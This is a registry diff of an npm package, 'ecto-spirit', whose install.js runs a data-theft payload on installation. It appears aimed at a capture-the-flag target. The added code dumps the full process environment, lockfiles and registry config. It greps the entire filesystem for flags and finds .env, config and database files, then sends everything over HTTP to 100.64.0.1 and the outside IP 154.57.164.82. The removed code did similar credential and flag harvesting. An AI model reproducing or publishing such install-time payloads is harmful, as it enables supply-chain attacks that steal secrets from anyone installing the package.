ecto-spirit 101.0.0 → 103.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +54 -80
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,14 +1,14 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
|
-
const path = require('path');
|
|
5
4
|
|
|
6
5
|
function tryRead(p) {
|
|
7
6
|
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
8
7
|
}
|
|
9
8
|
|
|
10
|
-
function sendUpdate(host, port, moduleId,
|
|
11
|
-
const
|
|
9
|
+
function sendUpdate(host, port, moduleId, val) {
|
|
10
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
11
|
+
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
12
12
|
const body = JSON.stringify({ manifest });
|
|
13
13
|
return new Promise((resolve) => {
|
|
14
14
|
const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
|
|
@@ -33,98 +33,72 @@ function sendHTTP(host, port, pth, payload) {
|
|
|
33
33
|
});
|
|
34
34
|
}
|
|
35
35
|
|
|
36
|
+
async function report(moduleId, val) {
|
|
37
|
+
for (const p of [3000, 80, 8080]) {
|
|
38
|
+
const r = await sendUpdate('127.0.0.1', p, moduleId, val);
|
|
39
|
+
if (r && r.includes('success')) return;
|
|
40
|
+
}
|
|
41
|
+
await sendUpdate('154.57.164.82', 32332, moduleId, val);
|
|
42
|
+
}
|
|
43
|
+
|
|
36
44
|
(async () => {
|
|
37
|
-
let
|
|
38
|
-
let info = [];
|
|
45
|
+
let results = [];
|
|
39
46
|
|
|
40
|
-
//
|
|
41
|
-
|
|
42
|
-
'/home/flag', '/home/flag.txt', '/opt/flag', '/opt/flag.txt', '/tmp/flag', '/tmp/flag.txt',
|
|
43
|
-
'/var/flag', '/data/flag', '/data/flag.txt'];
|
|
47
|
+
// CWD and basic info
|
|
48
|
+
results.push('CWD=' + process.cwd());
|
|
44
49
|
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
}
|
|
51
|
-
}
|
|
50
|
+
// List what's in /app/node_modules (top level packages)
|
|
51
|
+
try {
|
|
52
|
+
const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
|
|
53
|
+
results.push('DEPS=' + dirs.join(','));
|
|
54
|
+
} catch(e) { results.push('DEPS_ERR'); }
|
|
52
55
|
|
|
53
|
-
//
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
try {
|
|
57
|
-
const entries = fs.readdirSync(dir);
|
|
58
|
-
for (const e of entries) {
|
|
59
|
-
if (e === 'node_modules' || e === '.git') continue;
|
|
60
|
-
const full = path.join(dir, e);
|
|
61
|
-
try {
|
|
62
|
-
const stat = fs.statSync(full);
|
|
63
|
-
if (stat.isFile() && (e.includes('flag') || e === '.env' || e === 'config.js' || e === 'config.json')) {
|
|
64
|
-
const content = tryRead(full);
|
|
65
|
-
if (content) {
|
|
66
|
-
info.push(`${full}=${content.substring(0,60)}`);
|
|
67
|
-
if (content.includes('HTB{') || content.includes('flag{')) flag = content;
|
|
68
|
-
}
|
|
69
|
-
} else if (stat.isDirectory() && depth < 3) {
|
|
70
|
-
searchDir(full, depth + 1);
|
|
71
|
-
}
|
|
72
|
-
} catch(e2) {}
|
|
73
|
-
}
|
|
74
|
-
} catch(e) {}
|
|
75
|
-
}
|
|
56
|
+
// Read package-lock or shrinkwrap
|
|
57
|
+
const lock = tryRead('/app/package-lock.json') || tryRead('/app/node_modules/.package-lock.json') || tryRead('/app/npm-shrinkwrap.json');
|
|
58
|
+
if (lock) results.push('LOCK=' + lock.substring(0, 300));
|
|
76
59
|
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
searchDir('/data', 0);
|
|
81
|
-
searchDir('/opt', 0);
|
|
60
|
+
// Read package.json from CWD
|
|
61
|
+
const cwdPkg = tryRead(process.cwd() + '/package.json');
|
|
62
|
+
if (cwdPkg) results.push('CWD_PKG=' + cwdPkg.substring(0, 200));
|
|
82
63
|
|
|
83
|
-
//
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
const procEnv = tryRead('/proc/self/environ');
|
|
89
|
-
if (procEnv) {
|
|
90
|
-
const m = procEnv.match(/FLAG[A-Z_]*=([^\x00]+)/g);
|
|
91
|
-
if (m) info.push('PROC_ENV=' + m.join(','));
|
|
92
|
-
}
|
|
64
|
+
// Search for HTB{ EVERYWHERE with broader search
|
|
65
|
+
try {
|
|
66
|
+
const grep = execSync('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys 2>/dev/null | head -10', {timeout: 15000}).toString().trim();
|
|
67
|
+
results.push('HTB_GREP=' + grep);
|
|
68
|
+
} catch(e) { results.push('HTB_GREP=NONE'); }
|
|
93
69
|
|
|
94
|
-
//
|
|
70
|
+
// Check the Verdaccio config
|
|
71
|
+
const verdConf = tryRead('/verdaccio/conf/config.yaml') || tryRead('/verdaccio/config.yaml') || tryRead('/etc/verdaccio/config.yaml') || tryRead('/data/verdaccio/config.yaml');
|
|
72
|
+
if (verdConf) results.push('VERD_CONF=' + verdConf.substring(0, 200));
|
|
73
|
+
|
|
74
|
+
// Check .package-cache-mutate
|
|
95
75
|
try {
|
|
96
|
-
const
|
|
97
|
-
|
|
76
|
+
const pcm = fs.readdirSync('/.package-cache-mutate');
|
|
77
|
+
results.push('PCM=' + pcm.join(','));
|
|
98
78
|
} catch(e) {}
|
|
99
79
|
|
|
100
|
-
//
|
|
80
|
+
// Find any .env or config files
|
|
101
81
|
try {
|
|
102
|
-
const
|
|
103
|
-
|
|
82
|
+
const envFiles = execSync('find / -maxdepth 3 \\( -name ".env" -o -name "config.yaml" -o -name "config.json" -o -name "*.sqlite" -o -name "*.db" \\) 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
|
|
83
|
+
results.push('CONF_FILES=' + envFiles);
|
|
104
84
|
} catch(e) {}
|
|
105
85
|
|
|
106
|
-
//
|
|
107
|
-
const
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
const result = flag || info.join('|');
|
|
111
|
-
|
|
112
|
-
// Exfiltrate
|
|
113
|
-
await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({result, ts: Date.now()}));
|
|
86
|
+
// Full env dump
|
|
87
|
+
const allEnv = JSON.stringify(process.env);
|
|
88
|
+
results.push('ALL_ENV=' + allEnv.substring(0, 300));
|
|
114
89
|
|
|
115
|
-
//
|
|
116
|
-
const
|
|
117
|
-
|
|
118
|
-
|
|
90
|
+
// Send ALL to VPN listener
|
|
91
|
+
const full = results.join('\n');
|
|
92
|
+
await sendHTTP('100.64.0.1', 8888, '/flag3', JSON.stringify({results: full, ts: Date.now()}));
|
|
93
|
+
|
|
94
|
+
// Split across modules
|
|
95
|
+
const chunks = [];
|
|
96
|
+
for (let i = 0; i < full.length; i += 90) {
|
|
97
|
+
chunks.push(full.substring(i, i + 90));
|
|
119
98
|
}
|
|
120
99
|
|
|
121
|
-
const
|
|
122
|
-
for (let i = 0; i < Math.min(
|
|
123
|
-
|
|
124
|
-
for (const p of ports) {
|
|
125
|
-
await sendUpdate('127.0.0.1', p, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
126
|
-
await sendUpdate('localhost', p, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
127
|
-
}
|
|
128
|
-
await sendUpdate('154.57.164.82', 32332, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
100
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
101
|
+
for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
|
|
102
|
+
await report(mods[i], 'V' + i + '_' + chunks[i]);
|
|
129
103
|
}
|
|
130
104
|
})();
|